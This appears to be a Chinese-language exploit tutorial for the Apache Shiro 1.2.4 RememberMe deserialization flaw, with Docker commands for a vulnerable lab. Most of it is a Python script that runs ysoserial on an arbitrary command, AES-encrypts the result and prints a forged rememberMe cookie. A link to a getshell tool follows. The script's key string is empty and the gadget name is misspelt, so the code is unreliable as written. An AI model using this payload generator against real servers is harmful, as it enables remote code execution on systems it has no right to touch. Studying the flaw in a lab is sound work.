Shiro1.2.4RememberMe反序列化漏洞
Shiro1.2.4RememberMe反序列化漏洞
针对Shiro版本1.2.4以下有效,Shiro是一个java框架
漏洞原理
Apache Shiro 有记住密码的功能,在登录成功后会生成字段setcookie
而这个cookie值是经过序列化---AES加密---base64编码
得到
而在Shiro<1.2.4文件中可以找到默认的aes密钥,导致可以伪造这个cookie,导致反序列化漏洞
环境搭建
直接采用docker搭建shiro环境
docker pull medicean/vulapps:s_shiro_1
docker run -d -p 80:8080 -p 7777:6666 medicean/vulapps:s_shiro_1
访问127.0.0.1
登录时点击记住密码,抓包后发到repeater
可以看到服务端setcookie中的rememberme字段
生成payload脚本
# -- coding: utf-8 --
import sys
import uuid #导入唯一标识库
import base64
import subprocess
from Crypto.Cipher import AES #导入aes
def encode(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'CommonsCollects6', command], stdout=subprocess.PIPE) #创建一个子进程,输出到管道中
bs = AES.block_size
pad = lambda s: s + ((bs - len(s) % bs) * chr(bs - len(s) % bs)).encode() #算法
key = base64.b64decode("")
iv = uuid.uuid4().bytes #生成初始向量
encryptor = AES.new(key,AES.MODE_CBC,iv) #初始化aes
file_body = pad(popen.stdout.read()) #从pipe中读数据放入加密算法
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode(sys.argv[1]) #获取外部输入的第一个参数
print 'rememberMe={}'.format(payload.decode())
https://toscode.gitee.com/lmdy/ShiroExploit 【利用漏洞getshell工具】